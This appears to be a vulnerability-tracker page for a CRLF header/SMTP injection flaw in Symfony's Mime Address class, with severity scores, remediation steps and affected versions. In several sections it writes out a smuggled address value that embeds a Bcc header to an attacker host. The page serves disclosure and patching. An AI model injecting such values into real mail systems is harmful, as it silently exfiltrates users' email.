Skip to main content

Symfony Mime EUVDEUVD-2026-44322

| CVE-2026-45067 MEDIUM
Improper Neutralization of CRLF Sequences ('CRLF Injection') (CWE-93)
2026-05-27 https://github.com/symfony/symfony GHSA-qpmx-3rfj-7rhv
6.3
CVSS 4.0 · Vendor: https://github.com/symfony/symfony
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Supply crafted address via app input
  2. Delivery
    Embed CRLF in quoted-string local-part
  3. Exploit
    Address constructor stores it verbatim
  4. Execution
    Value emitted into headers / SMTP commands
  5. Impact
    Inject Bcc header or SMTP command

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization CRLF sequence sanitization
Exploitation Conditions

The concrete prerequisite is that attacker-controlled input must reach the Symfony\Component\Mime\Address constructor - i.e. any of the Mailer to, cc, bcc, from, or reply-to fields - without the application first stripping or rejecting CRLF, and the resulting message must be rendered into headers or dispatched through a transport that emits the address verbatim (notably SmtpTransport, which writes it into MAIL FROM:<...> / RCPT TO:<...>). The specific malicious form required is an RFC-5322 quoted-string local-part containing raw \r\n bytes (e.g. "x\r\nBcc: attacker@evil"@example.com). Limiting factors: exploitation is not possible if all addresses are static/hardcoded or already CRLF-sanitized by the application before reaching Address; the affected library version (< 5.4.52, < 6.4.40, or < 7.4.12) must be in use; and because no CVSS vector is provided, the remote/local nature and any authentication requirement are not confirmed from available data and depend on where in the application the tainted address is accepted.

Impact

Real-world risk must be assessed with significant data gaps: no CVSS score or vector, no EPSS probability, no SSVC decision, and no KEV listing are provided, so attack vector, complexity, and privilege requirements cannot be confirmed from the input - they can only be inferred from the description. The practical risk is gated by application design rather than by network reachability: exploitation requires that untrusted, attacker-influenced data reach an Address field (to/cc/bcc/from/reply-to) without prior CRLF sanitization, and that the message then be rendered or sent via a transport that emits the address verbatim. Where an application builds recipient or sender addresses from user-supplied input (a common pattern in signup, contact, and notification flows), this is a meaningful injection primitive enabling silent Bcc exfiltration or SMTP-command manipulation; where addresses are static or hardcoded, the flaw is not reachable. The component is extremely widely deployed, which raises aggregate exposure, but the tag is 'Information Disclosure' and the impact is injection rather than direct code execution. Note explicitly: the absence of CVSS/EPSS/KEV means severity here is qualitative, and the lack of a network-vector confirmation should be verified against your own usage before treating this as remotely exploitable in all deployments.

Exploit ScenarioDerived

An application constructs an email's recipient or From address from user-supplied input (e.g. a contact form or account-notification flow) and passes it to Symfony Mailer. The attacker submits a value such as "x\r\nBcc: attacker@evil"@example.com, whose CRLF-laced quoted-string local-part passes the Address constructor and is later emitted verbatim, injecting an unauthorized Bcc header (silently copying outbound mail to the attacker) or an extra SMTP command. No public exploit is identified at time of analysis, and CVSS attack vector/complexity are not available to confirm remote reachability.

This Month Plan within 30 days. Why: MEDIUM severity (CVSS 4.0-6.9).
Patch available 0.1% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – May 27, 2026

Email-header and SMTP command injection (CWE-93) in Symfony's Mime component (symfony/mime, also shipped in the symfony/symfony monolith) lets an attacker who controls any address value smuggle CRLF sequences past a trusted validation boundary. The Address value-object - used for every Mailer to/cc/bcc/from/reply-to address - accepts an RFC-5322 quoted-string local-part containing raw carriage-return/line-feed bytes, which is later emitted verbatim into rendered message headers and into SmtpTransport's MAIL FROM/RCPT TO lines, allowing injection of new headers (e.g. an unauthorized Bcc) or new SMTP commands. It affects symfony/mime before 5.4.52, 6.4.40, and 7.4.12; there is no public exploit identified at time of analysis and the issue is not in CISA KEV.

RemediationAI

Apply the vendor-released patch by upgrading symfony/mime (or symfony/symfony) to the fixed release for your branch: 5.4.52 on the 5.4 line, 6.4.40 on the 6.x line, or 7.4.12 on the 7.x line, e.g. composer require symfony/mime:^7.4.12 (or the equivalent for your major version); these versions add a constructor check that rejects any address containing line breaks. The underlying fix is commit dc2dbd29211eb4ddc451373fa1374fb926e94604. If you cannot upgrade immediately, the targeted compensating control is to reject or strip \r and \n from any user-controlled value before it is passed into Symfony\Component\Mime\Address (or into Mailer to/cc/bcc/from/reply-to setters) - for example validate addresses against a strict pattern that disallows quoted-string local-parts and control characters; the trade-off is that overly strict filtering may reject rare-but-legitimate quoted local-parts, and the control must be applied at every call site that handles untrusted input, which is error-prone compared to the library fix. Full details: https://github.com/symfony/symfony/security/advisories/GHSA-qpmx-3rfj-7rhv.

Affected VersionsENISA

symfony 8.0.0-BETA1, < 8.0.12
symfony 7.0.0-BETA1, < 7.4.12
symfony 6.0.0-BETA1, < 6.4.40
symfony < 5.4.52

Affected Packages

composer symfony/mime fix: 5.4.52, 6.4.40, 7.4.12, 8.0.12
composer symfony/symfony fix: 5.4.52, 6.4.40, 7.4.12, 8.0.12
euvd symfony fix: 5.4.52
euvd symfony_6_0_0_beta1 fix: 6.4.40
euvd symfony_7_0_0_beta1 fix: 7.4.12
euvd symfony_8_0_0_beta1 fix: 8.0.12

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 6 packages in composer, euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

The vulnerable code is Symfony\Component\Mime\Address, the value object through which every Symfony Mailer address flows. Its constructor is documented as validating input and throwing on invalid addresses, so developers treat it as a security boundary. The root cause is CWE-93 (Improper Neutralization of CRLF Sequences): the constructor permits an RFC-5322 quoted-string local-part - the segment before the @, e.g. "x\r\nBcc: attacker@evil"@example.com - that contains literal \r\n bytes. Because Address never strips or rejects these line breaks, the stored value is rendered verbatim in two sinks: (1) the assembled MIME message headers, where the CRLF starts a new header line, and (2) SmtpTransport's MAIL FROM:<...> and RCPT TO:<...> protocol lines, where the CRLF starts a new SMTP command. The affected distribution units per CPE/composer metadata are pkg:composer/symfony_mime (the standalone component) and pkg:composer/symfony_symfony (the full framework that bundles it).

Know when the next one hits your stack

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (https://github.com/symfony/symfony) PRIMARY 6.3 MEDIUM
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N

Primary rating from Vendor (https://github.com/symfony/symfony) · only source for this CVE.

CVSS VectorVendor: https://github.com/symfony/symfony

Attack Vector
Network
Attack Complexity
Low
Attack Requirements
Present
Privileges Required
None
User Interaction
None
Vulnerable system: Confidentiality
None
Vulnerable system: Integrity
Low
Vulnerable system: Availability
None
Subsequent system: Confidentiality
None
Subsequent system: Integrity
None
Subsequent system: Availability
None

Lifecycle Timeline

1
CVSS changed
Jul 14, 2026 - 18:22 NVD
6.3 (MEDIUM)

DescriptionCVE.org

Description

Symfony\Component\Mime\Address is the value-object every Symfony Mailer address (to/cc/bcc/from/reply-to) flows through; its constructor is documented as validating the address and throwing on invalid input, so developers treat it as a security boundary.

The constructor accepts email addresses whose local-part (the part before @) is an RFC-5322 *quoted string* containing raw \r\n bytes, e.g. "x\r\nBcc: attacker@evil"@example.com. The stored address is later emitted verbatim into (1) the rendered message headers and (2) SmtpTransport's MAIL FROM:<...> / RCPT TO:<...> protocol lines, turning the embedded CRLF into a new mail header and/or a new SMTP command.

Resolution

The Address constructor now rejects addresses containing line breaks.

The patch for this issue is available here for branch 5.4.

Credits

We would like to thank Claude Mythos Preview (via Project Glasswing) for reporting the issue and providing the fix.

Executive ViewAI

Why It Matters

Symfony's Mime email component contains a critical vulnerability allowing attackers to inject unauthorized email headers and SMTP commands into messages, potentially redirecting sensitive communications or enabling email spoofing attacks. Organizations relying on Symfony for email delivery face exposure without immediate patching. The threat is not yet publicly exploited, but remediation is time-critical as the vulnerability is straightforward to exploit once disclosed.

Business Impact: High
Compensating Controls

Apply vendor patch.

Threat Intelligence Overview

EPSS Score
0.1%
Top 80% exploitable
Threat Intel
1
1 source
Social Media
1
Sightings
Data Quality
4 sources
Confidence: Medium

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity MEDIUM
CISA KEV No
Public POC No
EPSS 0.1%
Patch available Yes
Active threat No
Deciding rule
MEDIUM severity (CVSS 4.0-6.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation· derived
None
System Exposure· derived
Open
Automatable· derived
Yes
Human Impact
High

Priority Score

32
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +32
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Information disclosure occurs when an application unintentionally exposes sensitive data that aids attackers in reconnaissance or directly compromises security.

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy